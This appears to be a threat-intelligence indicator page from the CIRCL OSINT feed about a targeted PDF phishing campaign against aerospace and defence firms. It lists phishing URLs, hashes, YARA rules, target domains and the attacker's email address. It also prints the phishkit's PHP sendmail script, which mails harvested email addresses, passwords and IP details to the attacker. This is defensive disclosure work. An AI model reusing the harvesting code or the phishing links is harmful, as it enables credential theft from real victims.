Skip to main content
PhishingPublished Updated

type osint · Targeted phishing · PDF documents / phishkit

Affects type osintSource CIRCL OSINT Feed

0

TLP:WHITE, disclosure is not limited

Description

Targeted phishing - PDF documents / phishkit

Indicators of compromise

URLs 9

  • https://lulufabllc.com/doc/cdnrg.com/index.phpPhishing links
  • https://helpersserer.com/wp-inc/Response/www.tenova.com/index.phpPhishing links
  • https://www.arbutusroutes.com/document/standardaero.com/Phishing links
  • https://www.arbutusroutes.com/document/utc.com/Phishing links
  • https://www.arbutusroutes.com/document/gd.com/Phishing links
  • https://www.arbutusroutes.com/document/airbus.com/Phishing links
  • http://office.online-drive.ml/push-doc/cproduct_brochure_fg.phpOlder phishing link where the login page was mirror in Wed, 12 Sep 2018 06:29:39 GMT
  • https://drpianotellsall.com/atkinspiano.com/wwwwww/sma/index.phpPhishing links
  • https://arbutusroutes.com/ssl/akhurst.com/index.phpPhishing links

Hashes 27

  • 9a58b7f8ba04c32c027126379456e444
  • b49d7b503f9e1cd1a22a4933fb1f1a1e0b56f214
  • 28f73ae365bde8c03d0f93ef73f71c086a026ac58f72b82bb2384c3a5ab42d02
  • 1717448f733024fcb9ea6d591115fb852fd59179c071939a3b1fe8ffb93985925646fb813a2d5828613d0c4494f1ffa3a04182569154fe42fbea1d9e9f5fd27f
  • 164db8d1fe5f2ea9dd3ea826b2f0b808
  • 890efaa698f4d43aad15c3dbacb6c01544fd3e27
  • 56a73192c75130550294b327b36c051841d3780bd3732b410e0c190db6f9d936
  • 27c965d92b452d564917e5101cdd3c254347bf919c84be76b666335425e6673cb4a2553421b13841aaeafbf9a9e25ef37369b3d2a5bee208b4259da9053c1bb3
  • 08b49fb9882bfc8f69beb594fa543c8a
  • 201e85d6bc519ecc6dece75b2586e761a56db6a7

Yara 2

  • rule PDF_LIFT { strings: $a = "Rect[ 195.05 428.59 411.79 489.67]" condition: all of them }
  • rule PDF_JAT_AUTHOR { strings: $a = "<</Author(JAT)" condition: all of them }Generic yara rule to find the common JAT author.

Email addresses 1

Email used to send credentials (found in the sendmail.php file)

  • jatboss6@gmail.com

Target org 7

  • airbus.com
  • tenova.com
  • standardaero.com
  • gd.com
  • utc.com
  • cdnrg.com
  • akhurst.com

File 8

  • 28f73ae365bde8c03d0f93ef73f71c086a026ac58f72b82bb2384c3a5ab42d02
  • 56a73192c75130550294b327b36c051841d3780bd3732b410e0c190db6f9d936
  • ddcf49145d8c78198138a488b7f99bb4f760777be41b293138e4d5b531cebc73
  • 0fb825db2262d98e29846fa67171e3450666af9c0a6c31eaf8d7c84539be9132
  • c052025b442995f04a68b1b6b2007c36dbf47448c08dc249219a7f3eebd369c2
  • f2676b94952018c220ee352b9857bc5ad62195b2d15cdfaf54fa5c5985d6934a
  • New-Updated-docs.zip
  • sendmail.php

Size in bytes 7

  • 293456
  • 283714
  • 252891
  • 447466
  • 156088
  • 485888
  • 3525231

Float 6

  • 7.9916395623958
  • 7.9880939695683
  • 7.9916147992407
  • 7.991595563552
  • 7.9280918012902
  • 7.9068746522467

Malware sample 7

  • 28f73ae365bde8c03d0f93ef73f71c086a026ac58f72b82bb2384c3a5ab42d02|9a58b7f8ba04c32c027126379456e444
  • 56a73192c75130550294b327b36c051841d3780bd3732b410e0c190db6f9d936|164db8d1fe5f2ea9dd3ea826b2f0b808
  • ddcf49145d8c78198138a488b7f99bb4f760777be41b293138e4d5b531cebc73|08b49fb9882bfc8f69beb594fa543c8a
  • 0fb825db2262d98e29846fa67171e3450666af9c0a6c31eaf8d7c84539be9132|1baa024f9cfab48b92c297aa406c91b5
  • c052025b442995f04a68b1b6b2007c36dbf47448c08dc249219a7f3eebd369c2|da877f4f7335264b03ac72fca5b305dc
  • f2676b94952018c220ee352b9857bc5ad62195b2d15cdfaf54fa5c5985d6934a|b830fd2997e1f124f34d77ff1fa9b89e
  • New-Updated-docs.zip|b7245bf657e792328aaacbc6f75d1555

Mime type 6

  • PDF document, version 1.5
  • PDF document, version 1.5
  • PDF document, version 1.5
  • PDF document, version 1.5
  • PDF document, version 1.7
  • CDFV2 Microsoft Outlook Message

Ssdeep 6

  • 6144:NsxJx6kEIUqWBT/jUcoXxC24MgppaAa2XFVzCCr1OHNw+4je6iMllP:Nsx/M3TLxer4M2sAa2VVpr1OH9Oe6HlJ
  • 6144:xaYsXXzUbbQ+6K4R44u+aUg031qLD0AjJ1sGBIK/:xaTXX+iKO1u5uzK/
  • 6144:mc67OzUcoXxC24wOOLDbjRC4xzE7mkHNw+4je6iMllT:mcNzxer4fiDbjRhGDH9Oe6Hl1
  • 12288:Jn4ijMb7m7MUeGApKWxw1RFn/68R4V6Sp22leUWd3FM:Jn4iQUwQDkp6hdVM
  • 3072:zr3i3ArGdqMW/5DsvvqTfAL3LKhMbgfGSL2YxPfmXfj:H3i3ASXQgvSA/K7XiYxG7
  • 12288:Yn4ijMb7m7MUeGApKWxw1RFn/68R4V6Sp22leUWd3F:Yn4iQUwQDkp6hdV

Text 14

  • Adobe-Standard-Encoding
  • Malicious
  • Suspect
  • JATBOSS
  • <?php if(isset($_SERVER['HTTP_X_REAL_IP'])){ $ip = $_SERVER['HTTP_X_REAL_IP']; }else{ $ip=$_SERVER['REMOTE_ADDR']; } $message .= "|----------| E M A I L |--------------|\n"; $message .= "Online: ".$_POST['email']."\n"; $message .= "pass: ".$_POST['pwd']."\n"; $message .= "|--------------- I N F O | I P -------------------|\n"; $message .= "|Client IP: ".$ip."\n"; $message .= "|--- http://www.geoiptool.com/?IP=$ip ----\n"; $message .= "User Agent : ".$useragent."\n"; $message .= "|----------- HACKED BY JATBOSS --------------|\n"; $send = "jatboss6@gmail.com"; $subject = "$country | $ip"; { mail("$send", "$subject", $message); } ?>
  • PHP
  • Malicious
  • 1/56
  • 0/58
  • 2/59

Gender 1

  • Prefer not to say

Datetime 7

  • 2019-05-16T08:54:33
  • 2019-05-13T02:37:30
  • 2019-05-13T02:37:43
  • 2019-05-15T17:45:13
  • 2019-05-16T09:42:04
  • 2019-05-15T20:41:35
  • 2019-05-13T02:37:29

Community reviews

Loading reviews…